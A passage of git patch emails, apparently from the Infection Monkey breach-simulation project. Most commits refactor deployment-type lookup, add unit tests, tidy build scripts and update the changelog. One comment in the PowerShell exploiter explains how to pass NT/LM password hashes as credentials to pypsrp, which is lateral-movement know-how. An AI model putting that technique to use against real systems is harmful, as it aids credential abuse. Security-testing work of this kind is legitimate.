UTs for get_deployment. Fix Enviroment UTs. --- monkey/common/version.py | 13 +++--------- monkey/monkey_island/cc/deployment.json | 5 ----- .../monkey_island/cc/environment/__init__.py | 6 ------ .../cc/environment/environment_config.py | 15 +------------- .../cc/services/version_update.py | 20 ++++++++++++++++--- monkey/tests/data_for_tests/deployment.json | 3 +++ .../cc/environment/test_environment_config.py | 11 ++++------ .../cc/services/test_version_update.py | 16 +++++++++++++++ 8 files changed, 44 insertions(+), 45 deletions(-) create mode 100644 monkey/tests/data_for_tests/deployment.json create mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/test_version_update.py diff --git a/monkey/common/version.py b/monkey/common/version.py index 999f173fa..3582caa72 100644 --- a/monkey/common/version.py +++ b/monkey/common/version.py @@ -1,18 +1,11 @@ # To get the version from shell, run `python ./version.py` (see `python ./version.py -h` for # details). import argparse -import json from pathlib import Path -deployment_info_file_path = Path(__file__).parent.parent.joinpath( - "monkey_island", "cc", "deployment.json" -) -with open(deployment_info_file_path, "r") as deployment_info_file: - deployment_info = json.load(deployment_info_file) - MAJOR = deployment_info["version"]["major"] - MINOR = deployment_info["version"]["minor"] - PATCH = deployment_info["version"]["patch"] - +MAJOR = "1" +MINOR = "11" +PATCH = "0" build_file_path = Path(__file__).parent.joinpath("BUILD") with open(build_file_path, "r") as build_file: diff --git a/monkey/monkey_island/cc/deployment.json b/monkey/monkey_island/cc/deployment.json index 474c6e6c0..9a9f1c78c 100644 --- a/monkey/monkey_island/cc/deployment.json +++ b/monkey/monkey_island/cc/deployment.json @@ -1,8 +1,3 @@ { - "version": { - "major": 1, - "minor": 11, - "patch": 0 - }, "deployment": "develop" } diff --git a/monkey/monkey_island/cc/environment/__init__.py b/monkey/monkey_island/cc/environment/__init__.py index 2c43eb9be..281b08a3a 100644 --- a/monkey/monkey_island/cc/environment/__init__.py +++ b/monkey/monkey_island/cc/environment/__init__.py @@ -88,9 +88,3 @@ class Environment(object, metaclass=ABCMeta): def get_auth_expiration_time(self): return self._AUTH_EXPIRATION_TIME - - def get_deployment(self) -> str: - deployment = "unknown" - if self._config and self._config.deployment: - deployment = self._config.deployment - return deployment diff --git a/monkey/monkey_island/cc/environment/environment_config.py b/monkey/monkey_island/cc/environment/environment_config.py index bd1429938..804b7896f 100644 --- a/monkey/monkey_island/cc/environment/environment_config.py +++ b/monkey/monkey_island/cc/environment/environment_config.py @@ -2,34 +2,22 @@ from __future__ import annotations import json import os -from typing import Dict, List, Optional +from typing import Dict, List from monkey_island.cc.environment.user_creds import UserCreds from monkey_island.cc.resources.auth.auth_user import User from monkey_island.cc.resources.auth.user_store import UserStore -from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH class EnvironmentConfig: def __init__(self, file_path): self._server_config_path = os.path.expanduser(file_path) self.server_config = None - self.deployment = self._get_deployment_from_file() self.user_creds = None self.aws = None self._load_from_file(self._server_config_path) - def _get_deployment_from_file(self) -> Optional[str]: - deployment = None - - deployment_info_file_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "deployment.json") - with open(deployment_info_file_path, "r") as deployment_info_file: - deployment_info = json.load(deployment_info_file) - deployment = deployment_info["deployment"] - - return deployment - def _load_from_file(self, file_path): file_path = os.path.expanduser(file_path) @@ -61,7 +49,6 @@ class EnvironmentConfig: def to_dict(self) -> Dict: config_dict = { "server_config": self.server_config, - "deployment": self.deployment, } if self.aws: config_dict.update({"aws": self.aws}) diff --git a/monkey/monkey_island/cc/services/version_update.py b/monkey/monkey_island/cc/services/version_update.py index c42f2d694..473c96ff1 100644 --- a/monkey/monkey_island/cc/services/version_update.py +++ b/monkey/monkey_island/cc/services/version_update.py @@ -1,10 +1,13 @@ +import json import logging +import os +from typing import Optional import requests -import monkey_island.cc.environment.environment_singleton as env_singleton from common.utils.exceptions import VersionServerConnectionError from common.version import get_version +from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH logger = logging.getLogger(__name__) @@ -40,7 +43,7 @@ class VersionUpdateService: :return: False if not, version in string format ('1.6.2') otherwise """ url = VersionUpdateService.VERSION_SERVER_CHECK_NEW_URL % ( - env_singleton.env.get_deployment(), + VersionUpdateService.get_deployment_file(), get_version(), ) @@ -61,6 +64,17 @@ class VersionUpdateService: @staticmethod def get_download_link(): return VersionUpdateService.VERSION_SERVER_DOWNLOAD_URL % ( - env_singleton.env.get_deployment(), + VersionUpdateService.get_deployment_file(), get_version(), ) + + @staticmethod + def get_deployment_file() -> Optional[str]: + deployment = "unknown" + + deployment_info_file_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "deployment.json") + with open(deployment_info_file_path, "r") as deployment_info_file: + deployment_info = json.load(deployment_info_file) + deployment = deployment_info["deployment"] + + return deployment diff --git a/monkey/tests/data_for_tests/deployment.json b/monkey/tests/data_for_tests/deployment.json new file mode 100644 index 000000000..9a9f1c78c --- /dev/null +++ b/monkey/tests/data_for_tests/deployment.json @@ -0,0 +1,3 @@ +{ + "deployment": "develop" +} diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/test_environment_config.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_environment_config.py index 52f0d96ca..63ae123bf 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/environment/test_environment_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/environment/test_environment_config.py @@ -16,9 +16,8 @@ def config_file(tmpdir): def test_get_with_credentials(with_credentials): config_dict = EnvironmentConfig(with_credentials).to_dict() - assert len(config_dict.keys()) == 4 + assert len(config_dict.keys()) == 3 assert config_dict["server_config"] == "password" - assert config_dict["deployment"] == "develop" assert config_dict["user"] == "test" assert config_dict["password_hash"] == "abcdef" @@ -26,17 +25,15 @@ def test_get_with_credentials(with_credentials): def test_get_with_no_credentials(no_credentials): config_dict = EnvironmentConfig(no_credentials).to_dict() - assert len(config_dict.keys()) == 2 + assert len(config_dict.keys()) == 1 assert config_dict["server_config"] == "password" - assert config_dict["deployment"] == "develop" def test_get_with_partial_credentials(partial_credentials): config_dict = EnvironmentConfig(partial_credentials).to_dict() - assert len(config_dict.keys()) == 3 + assert len(config_dict.keys()) == 2 assert config_dict["server_config"] == "password" - assert config_dict["deployment"] == "develop" assert config_dict["user"] == "test" @@ -80,7 +77,7 @@ def test_add_user(config_file, with_credentials): with open(config_file, "r") as f: from_file = json.load(f) - assert len(from_file["environment"].keys()) == 4 + assert len(from_file["environment"].keys()) == 3 assert from_file["environment"]["user"] == new_user assert from_file["environment"]["password_hash"] == new_password_hash diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_version_update.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_version_update.py new file mode 100644 index 000000000..01ebb81d5 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_version_update.py @@ -0,0 +1,16 @@ +import os + +import pytest + +from monkey_island.cc.services.version_update import VersionUpdateService + + +@pytest.fixture +def deployment_file(data_for_tests_dir): + return os.path.join(data_for_tests_dir, "deployment.json") + + +def test_get_deployment_field(deployment_file, monkeypatch): + monkeypatch.setattr(os.path, "join", lambda *args: deployment_file) + deployment = VersionUpdateService().get_deployment_file() + assert deployment == "develop" From 9fd6ea9598306ec9e3a3cef71dc2858fee299130 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 14 Sep 2021 14:02:24 +0530 Subject: [PATCH 152/454] island, tests: Modify function to get deployment type with file path as input and modify related tests --- monkey/monkey_island/cc/services/version_update.py | 14 ++++++++------ .../cc/services/test_version_update.py | 8 ++++---- 2 files changed, 12 insertions(+), 10 deletions(-) diff --git a/monkey/monkey_island/cc/services/version_update.py b/monkey/monkey_island/cc/services/version_update.py index 473c96ff1..5bf773c6b 100644 --- a/monkey/monkey_island/cc/services/version_update.py +++ b/monkey/monkey_island/cc/services/version_update.py @@ -1,7 +1,6 @@ import json import logging import os -from typing import Optional import requests @@ -42,8 +41,10 @@ class VersionUpdateService: Checks if newer monkey version is available :return: False if not, version in string format ('1.6.2') otherwise """ + deployment_info_file_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "deployment.json") + url = VersionUpdateService.VERSION_SERVER_CHECK_NEW_URL % ( - VersionUpdateService.get_deployment_file(), + VersionUpdateService.get_deployment_from_file(deployment_info_file_path), get_version(), ) @@ -63,17 +64,18 @@ class VersionUpdateService: @staticmethod def get_download_link(): + deployment_info_file_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "deployment.json") + return VersionUpdateService.VERSION_SERVER_DOWNLOAD_URL % ( - VersionUpdateService.get_deployment_file(), + VersionUpdateService.get_deployment_from_file(deployment_info_file_path), get_version(), ) @staticmethod - def get_deployment_file() -> Optional[str]: + def get_deployment_from_file(file_path: str) -> str: deployment = "unknown" - deployment_info_file_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "deployment.json") - with open(deployment_info_file_path, "r") as deployment_info_file: + with open(file_path, "r") as deployment_info_file: deployment_info = json.load(deployment_info_file) deployment = deployment_info["deployment"] diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_version_update.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_version_update.py index 01ebb81d5..84cb45535 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_version_update.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_version_update.py @@ -6,11 +6,11 @@ from monkey_island.cc.services.version_update import VersionUpdateService @pytest.fixture -def deployment_file(data_for_tests_dir): +def deployment_info_file_path(data_for_tests_dir): return os.path.join(data_for_tests_dir, "deployment.json") -def test_get_deployment_field(deployment_file, monkeypatch): - monkeypatch.setattr(os.path, "join", lambda *args: deployment_file) - deployment = VersionUpdateService().get_deployment_file() +def test_get_deployment_field(deployment_info_file_path, monkeypatch): + monkeypatch.setattr(os.path, "join", lambda *args: deployment_info_file_path) + deployment = VersionUpdateService().get_deployment_from_file(deployment_info_file_path) assert deployment == "develop" From 90c6392e1636093afbbc4fc4a70308e9b66406c6 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 14 Sep 2021 14:22:45 +0530 Subject: [PATCH 153/454] island, tests: Handle exceptions when getting deployment type from file and add related tests --- .../cc/services/version_update.py | 11 ++++-- monkey/tests/data_for_tests/deployment_flawed | 1 + .../data_for_tests/deployment_key_error.json | 3 ++ .../cc/services/test_version_update.py | 37 ++++++++++++++++++- 4 files changed, 48 insertions(+), 4 deletions(-) create mode 100644 monkey/tests/data_for_tests/deployment_flawed create mode 100644 monkey/tests/data_for_tests/deployment_key_error.json diff --git a/monkey/monkey_island/cc/services/version_update.py b/monkey/monkey_island/cc/services/version_update.py index 5bf773c6b..52dd70c9b 100644 --- a/monkey/monkey_island/cc/services/version_update.py +++ b/monkey/monkey_island/cc/services/version_update.py @@ -75,8 +75,13 @@ class VersionUpdateService: def get_deployment_from_file(file_path: str) -> str: deployment = "unknown" - with open(file_path, "r") as deployment_info_file: - deployment_info = json.load(deployment_info_file) - deployment = deployment_info["deployment"] + try: + with open(file_path, "r") as deployment_info_file: + deployment_info = json.load(deployment_info_file) + deployment = deployment_info["deployment"] + except Exception as ex: + logger.debug( + f"Couldn't get deployment info from {str(file_path)}. Exception: {str(ex)}." + ) return deployment diff --git a/monkey/tests/data_for_tests/deployment_flawed b/monkey/tests/data_for_tests/deployment_flawed new file mode 100644 index 000000000..6563189c5 --- /dev/null +++ b/monkey/tests/data_for_tests/deployment_flawed @@ -0,0 +1 @@ +develop diff --git a/monkey/tests/data_for_tests/deployment_key_error.json b/monkey/tests/data_for_tests/deployment_key_error.json new file mode 100644 index 000000000..acba72b2d --- /dev/null +++ b/monkey/tests/data_for_tests/deployment_key_error.json @@ -0,0 +1,3 @@ +{ + "tnemyolped": "develop" +} diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_version_update.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_version_update.py index 84cb45535..7b0067c0b 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_version_update.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_version_update.py @@ -10,7 +10,42 @@ def deployment_info_file_path(data_for_tests_dir): return os.path.join(data_for_tests_dir, "deployment.json") -def test_get_deployment_field(deployment_info_file_path, monkeypatch): +@pytest.fixture +def ghost_file(): + return "ghost_file" + + +@pytest.fixture +def key_error_deployment_info_file_path(data_for_tests_dir): + return os.path.join(data_for_tests_dir, "deployment_key_error.json") + + +@pytest.fixture +def flawed_deployment_info_file_path(data_for_tests_dir): + return os.path.join(data_for_tests_dir, "deployment_flawed") + + +def test_get_deployment_field_from_file(deployment_info_file_path, monkeypatch): monkeypatch.setattr(os.path, "join", lambda *args: deployment_info_file_path) deployment = VersionUpdateService().get_deployment_from_file(deployment_info_file_path) assert deployment == "develop" + + +def test_get_deployment_field_from_nonexistent_file(ghost_file, monkeypatch): + monkeypatch.setattr(os.path, "join", lambda *args: ghost_file) + deployment = VersionUpdateService().get_deployment_from_file(ghost_file) + assert deployment == "unknown" + + +def test_get_deployment_field_key_error(key_error_deployment_info_file_path, monkeypatch): + monkeypatch.setattr(os.path, "join", lambda *args: key_error_deployment_info_file_path) + deployment = VersionUpdateService().get_deployment_from_file( + key_error_deployment_info_file_path + ) + assert deployment == "unknown" + + +def test_get_deployment_field_from_flawed_json_file(flawed_deployment_info_file_path, monkeypatch): + monkeypatch.setattr(os.path, "join", lambda *args: flawed_deployment_info_file_path) + deployment = VersionUpdateService().get_deployment_from_file(flawed_deployment_info_file_path) + assert deployment == "unknown" From 686f65e4f4f325fc028d54c564bf7d3c5caf683c Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 14 Sep 2021 16:04:06 +0530 Subject: [PATCH 154/454] tests: Move monkeypatch statements to fixtures in test_version_update.py --- .../cc/services/test_version_update.py | 36 ++++++++++--------- 1 file changed, 20 insertions(+), 16 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_version_update.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_version_update.py index 7b0067c0b..4824ddfed 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_version_update.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_version_update.py @@ -6,46 +6,50 @@ from monkey_island.cc.services.version_update import VersionUpdateService @pytest.fixture -def deployment_info_file_path(data_for_tests_dir): - return os.path.join(data_for_tests_dir, "deployment.json") +def deployment_info_file_path(monkeypatch, data_for_tests_dir): + path = os.path.join(data_for_tests_dir, "deployment.json") + monkeypatch.setattr(os.path, "join", lambda *args: path) + return path @pytest.fixture -def ghost_file(): - return "ghost_file" +def ghost_file(monkeypatch): + path = "ghost_file" + monkeypatch.setattr(os.path, "join", lambda *args: path) + return path @pytest.fixture -def key_error_deployment_info_file_path(data_for_tests_dir): - return os.path.join(data_for_tests_dir, "deployment_key_error.json") +def key_error_deployment_info_file_path(monkeypatch, data_for_tests_dir): + path = os.path.join(data_for_tests_dir, "deployment_key_error.json") + monkeypatch.setattr(os.path, "join", lambda *args: path) + return path @pytest.fixture -def flawed_deployment_info_file_path(data_for_tests_dir): - return os.path.join(data_for_tests_dir, "deployment_flawed") +def flawed_deployment_info_file_path(monkeypatch, data_for_tests_dir): + path = os.path.join(data_for_tests_dir, "deployment_flawed") + monkeypatch.setattr(os.path, "join", lambda *args: path) + return path -def test_get_deployment_field_from_file(deployment_info_file_path, monkeypatch): - monkeypatch.setattr(os.path, "join", lambda *args: deployment_info_file_path) +def test_get_deployment_field_from_file(deployment_info_file_path): deployment = VersionUpdateService().get_deployment_from_file(deployment_info_file_path) assert deployment == "develop" -def test_get_deployment_field_from_nonexistent_file(ghost_file, monkeypatch): - monkeypatch.setattr(os.path, "join", lambda *args: ghost_file) +def test_get_deployment_field_from_nonexistent_file(ghost_file): deployment = VersionUpdateService().get_deployment_from_file(ghost_file) assert deployment == "unknown" -def test_get_deployment_field_key_error(key_error_deployment_info_file_path, monkeypatch): - monkeypatch.setattr(os.path, "join", lambda *args: key_error_deployment_info_file_path) +def test_get_deployment_field_key_error(key_error_deployment_info_file_path): deployment = VersionUpdateService().get_deployment_from_file( key_error_deployment_info_file_path ) assert deployment == "unknown" -def test_get_deployment_field_from_flawed_json_file(flawed_deployment_info_file_path, monkeypatch): - monkeypatch.setattr(os.path, "join", lambda *args: flawed_deployment_info_file_path) +def test_get_deployment_field_from_flawed_json_file(flawed_deployment_info_file_path): deployment = VersionUpdateService().get_deployment_from_file(flawed_deployment_info_file_path) assert deployment == "unknown" From 38011f20b5a3eaf5a10ae0083fbf664b1930804f Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 14 Sep 2021 16:05:19 +0530 Subject: [PATCH 155/454] island: Remove unnecessary type conversion in log statement --- monkey/monkey_island/cc/services/version_update.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/services/version_update.py b/monkey/monkey_island/cc/services/version_update.py index 52dd70c9b..25872a45a 100644 --- a/monkey/monkey_island/cc/services/version_update.py +++ b/monkey/monkey_island/cc/services/version_update.py @@ -80,8 +80,6 @@ class VersionUpdateService: deployment_info = json.load(deployment_info_file) deployment = deployment_info["deployment"] except Exception as ex: - logger.debug( - f"Couldn't get deployment info from {str(file_path)}. Exception: {str(ex)}." - ) + logger.debug(f"Couldn't get deployment info from {file_path}. Exception: {str(ex)}.") return deployment From 58ed42a247e79b45f5f2149c7bed8d929ad3be48 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Sep 2021 07:43:23 -0400 Subject: [PATCH 156/454] Agent: Add comment regarding NTLM hashes to format_password() --- .../exploit/powershell_utils/powershell_client.py | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py index 55ccd477a..6727ac67c 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py +++ b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py @@ -27,6 +27,18 @@ def _set_sensitive_packages_log_level_to_error(): logging.getLogger(package.__name__).setLevel(logging.ERROR) +# The pypsrp library requires LM or NT hashes to be formatted like "LM_HASH:NT_HASH" +# +# Example: +# If your LM hash is 1ec78eb5f6edd379351858c437fc3e4e and your NT hash is +# 79a760336ad8c808fee32aa96985a305, then you would pass +# "1ec78eb5f6edd379351858c437fc3e4e:79a760336ad8c808fee32aa96985a305" as the +# `password` parameter to pypsrp. +# +# In our case, we have a set of NT hashes and a set of LM hashes, but we don't +# know if any particular LM/NT hash pair was generated from the same password. +# To avoid confusion, we pair each NT or LM hash with a dummy (i.e. all zeros) +# hash. def format_password(credentials: Credentials) -> Optional[str]: if credentials.secret_type == SecretType.CACHED: return None From ed93971595edee9ef964f6fff26352a3b1c2de02 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 14 Sep 2021 14:49:30 +0300 Subject: [PATCH 157/454] Remove the empty test_server_config_handler.py file. --- .../monkey_island/cc/environment/test_server_config_handler.py | 0 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/environment/test_server_config_handler.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/test_server_config_handler.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_server_config_handler.py deleted file mode 100644 index e69de29bb..000000000 From 412aefab3eb2494817dff0425c0730b554a77d85 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Sep 2021 10:19:14 -0400 Subject: [PATCH 158/454] Island: Switch get_deployment_from_file() to use Paths --- .../cc/services/version_update.py | 13 +++++---- .../cc/services/test_version_update.py | 27 +++++++------------ 2 files changed, 15 insertions(+), 25 deletions(-) diff --git a/monkey/monkey_island/cc/services/version_update.py b/monkey/monkey_island/cc/services/version_update.py index 25872a45a..0430ba5be 100644 --- a/monkey/monkey_island/cc/services/version_update.py +++ b/monkey/monkey_island/cc/services/version_update.py @@ -1,6 +1,6 @@ import json import logging -import os +from pathlib import Path import requests @@ -8,6 +8,8 @@ from common.utils.exceptions import VersionServerConnectionError from common.version import get_version from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH +DEPLOYMENT_FILE_PATH = Path(MONKEY_ISLAND_ABS_PATH) / "cc" / "deployment.json" + logger = logging.getLogger(__name__) @@ -41,10 +43,9 @@ class VersionUpdateService: Checks if newer monkey version is available :return: False if not, version in string format ('1.6.2') otherwise """ - deployment_info_file_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "deployment.json") url = VersionUpdateService.VERSION_SERVER_CHECK_NEW_URL % ( - VersionUpdateService.get_deployment_from_file(deployment_info_file_path), + VersionUpdateService.get_deployment_from_file(DEPLOYMENT_FILE_PATH), get_version(), ) @@ -64,15 +65,13 @@ class VersionUpdateService: @staticmethod def get_download_link(): - deployment_info_file_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "deployment.json") - return VersionUpdateService.VERSION_SERVER_DOWNLOAD_URL % ( - VersionUpdateService.get_deployment_from_file(deployment_info_file_path), + VersionUpdateService.get_deployment_from_file(DEPLOYMENT_FILE_PATH), get_version(), ) @staticmethod - def get_deployment_from_file(file_path: str) -> str: + def get_deployment_from_file(file_path: Path) -> str: deployment = "unknown" try: diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_version_update.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_version_update.py index 4824ddfed..e7fe7bdf5 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_version_update.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_version_update.py @@ -1,4 +1,4 @@ -import os +from pathlib import Path import pytest @@ -6,30 +6,20 @@ from monkey_island.cc.services.version_update import VersionUpdateService @pytest.fixture -def deployment_info_file_path(monkeypatch, data_for_tests_dir): - path = os.path.join(data_for_tests_dir, "deployment.json") - monkeypatch.setattr(os.path, "join", lambda *args: path) +def deployment_info_file_path(data_for_tests_dir): + path = data_for_tests_dir / "deployment.json" return path @pytest.fixture -def ghost_file(monkeypatch): - path = "ghost_file" - monkeypatch.setattr(os.path, "join", lambda *args: path) +def key_error_deployment_info_file_path(data_for_tests_dir): + path = data_for_tests_dir / "deployment_key_error.json" return path @pytest.fixture -def key_error_deployment_info_file_path(monkeypatch, data_for_tests_dir): - path = os.path.join(data_for_tests_dir, "deployment_key_error.json") - monkeypatch.setattr(os.path, "join", lambda *args: path) - return path - - -@pytest.fixture -def flawed_deployment_info_file_path(monkeypatch, data_for_tests_dir): - path = os.path.join(data_for_tests_dir, "deployment_flawed") - monkeypatch.setattr(os.path, "join", lambda *args: path) +def flawed_deployment_info_file_path(data_for_tests_dir): + path = data_for_tests_dir / "deployment_flawed" return path @@ -38,7 +28,8 @@ def test_get_deployment_field_from_file(deployment_info_file_path): assert deployment == "develop" -def test_get_deployment_field_from_nonexistent_file(ghost_file): +def test_get_deployment_field_from_nonexistent_file(): + ghost_file = Path("ghost_file") deployment = VersionUpdateService().get_deployment_from_file(ghost_file) assert deployment == "unknown" From 6ebe2e391b5644490baf317ee442b301ddffafa2 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Sep 2021 16:54:06 +0200 Subject: [PATCH 159/454] Island: Add more exceptions to get_deployment_from_file --- monkey/monkey_island/cc/services/version_update.py | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/version_update.py b/monkey/monkey_island/cc/services/version_update.py index 0430ba5be..b9255232e 100644 --- a/monkey/monkey_island/cc/services/version_update.py +++ b/monkey/monkey_island/cc/services/version_update.py @@ -78,7 +78,13 @@ class VersionUpdateService: with open(file_path, "r") as deployment_info_file: deployment_info = json.load(deployment_info_file) deployment = deployment_info["deployment"] + except FileNotFoundError as ex: + logger.debug(f"Deployment file {file_path} is not found. Exception: {ex}") + except KeyError as ex: + logger.debug(f"Invalid key in the deployment file. Exception: {ex}") + except json.JSONDecodeError as ex: + logger.debug(f"Invalid deployment info file. Exception: {ex}") except Exception as ex: - logger.debug(f"Couldn't get deployment info from {file_path}. Exception: {str(ex)}.") + logger.debug(f"Couldn't get deployment info from {file_path}. Exception: {ex}.") return deployment From 238810e7431f2343d2bfd05f7a0b6f7477036128 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Sep 2021 12:09:13 -0400 Subject: [PATCH 160/454] Build: Remove unused install_common_build_prereqs() --- build_scripts/build_package.sh | 9 --------- 1 file changed, 9 deletions(-) diff --git a/build_scripts/build_package.sh b/build_scripts/build_package.sh index ac4f033af..df16c4cd7 100755 --- a/build_scripts/build_package.sh +++ b/build_scripts/build_package.sh @@ -72,15 +72,6 @@ install_nodejs() { sudo apt-get install -y nodejs } -install_common_build_prereqs() { - sudo apt-get update - sudo apt-get upgrade -y - - # monkey island prereqs - sudo apt-get install -y curl libcurl4 openssl git build-essential moreutils - install_nodejs -} - is_valid_git_repo() { pushd "$1" 2>/dev/null || return 1 git status >/dev/null 2>&1 From 3287f4831e86a034480733649503489efdf1ce49 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Sep 2021 12:22:03 -0400 Subject: [PATCH 161/454] Build: Remove deployment.json files --- build_scripts/appimage/deployment.json | 3 --- build_scripts/docker/deployment.json | 3 --- 2 files changed, 6 deletions(-) delete mode 100644 build_scripts/appimage/deployment.json delete mode 100644 build_scripts/docker/deployment.json diff --git a/build_scripts/appimage/deployment.json b/build_scripts/appimage/deployment.json deleted file mode 100644 index 914c44d4f..000000000 --- a/build_scripts/appimage/deployment.json +++ /dev/null @@ -1,3 +0,0 @@ -{ - "deployment": "standard" -} diff --git a/build_scripts/docker/deployment.json b/build_scripts/docker/deployment.json deleted file mode 100644 index 66125c06f..000000000 --- a/build_scripts/docker/deployment.json +++ /dev/null @@ -1,3 +0,0 @@ -{ - "deployment": "docker" -} From 1d991be6b4da69113d29acad5b64b1e58e2453b2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Sep 2021 12:30:43 -0400 Subject: [PATCH 162/454] Update CHANGELOG.md --- CHANGELOG.md | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 1b1b504d9..f7c74d781 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,11 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ## [Unreleased] +### Added +- A new exploiter that allows propagation via PowerShell Remoting. #1246 +- A warning regarding antivirus when agent binaries are missing. #1450 +- A deployment.json file to store the deployment type. #1205 + ### Changed - The name of the "Communicate as new user" post-breach action to "Communicate as backdoor user". #1410 @@ -18,7 +23,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - "Back door user" post-breach action. #1410 - Stale code in the Windows system info collector that collected installed packages and WMI info. #1389 -- Remove insecure access feature in the Monkey Island. #1418 +- Insecure access feature in the Monkey Island. #1418 +- The "deployment" field from the server_config.json #1205 ### Fixed - Misaligned buttons and input fields on exploiter and network configuration @@ -32,6 +38,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Trap command produced no output. #1406 - Overlapping Guardicore logo in the landing page. #1441 - PBA table collapse in security report on data change. #1423 +- Unsigned Windows agent binaries in Linux packages are now signed. #1444 ### Security - Generate a random password when creating a new user for CommunicateAsNewUser From 60e34636ec38a14d65ef85e56db6009bdc0d3f67 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Sep 2021 12:50:39 -0400 Subject: [PATCH 163/454] UI: Fix stupid typo in the attack section of the ransomware report --- .../components/report-components/ransomware/AttackSection.tsx | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/AttackSection.tsx b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/AttackSection.tsx index 69dc76c08..58e1bc1a3 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/AttackSection.tsx +++ b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/AttackSection.tsx @@ -6,7 +6,7 @@ import LoadingIcon from '../../ui-components/LoadingIcon'; const ATTACK_DESCRIPTION = 'After the attacker or malware has propagated through your network, \ your data is at risk on any machine the attacker can access. It can be \ - encrypted and held for ransomware, exfiltrated, or manipulated in \ + encrypted and held for ransom, exfiltrated, or manipulated in \ whatever way the attacker chooses.' const HOSTNAME_REGEX = /^(.* - )?(\S+) :.*$/; From 7ebe9e8ee2c8ed2c68ee1cba5cb5efb0e656f118 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Sep 2021 08:08:47 -0400 Subject: [PATCH 164/454] Build: Upgrade AppImage Python version to 3.7.12 --- build_scripts/appimage/appimage.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/build_scripts/appimage/appimage.sh b/build_scripts/appimage/appimage.sh index d55418df7..110559d6a 100755 --- a/build_scripts/appimage/appimage.sh +++ b/build_scripts/appimage/appimage.sh @@ -1,7 +1,7 @@ #!/bin/bash LINUXDEPLOY_URL="https://github.com/linuxdeploy/linuxdeploy/releases/download/continuous/linuxdeploy-x86_64.AppImage" -PYTHON_VERSION="3.7.11" +PYTHON_VERSION="3.7.12" PYTHON_APPIMAGE_URL="https://github.com/niess/python-appimage/releases/download/python3.7/python${PYTHON_VERSION}-cp37-cp37m-manylinux1_x86_64.AppImage" APPIMAGE_DIR="$(realpath $(dirname $BASH_SOURCE[0]))" APPDIR="$APPIMAGE_DIR/squashfs-root" From c4ab6f4362196a863d70faa65974101c4def55c0 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 15 Sep 2021 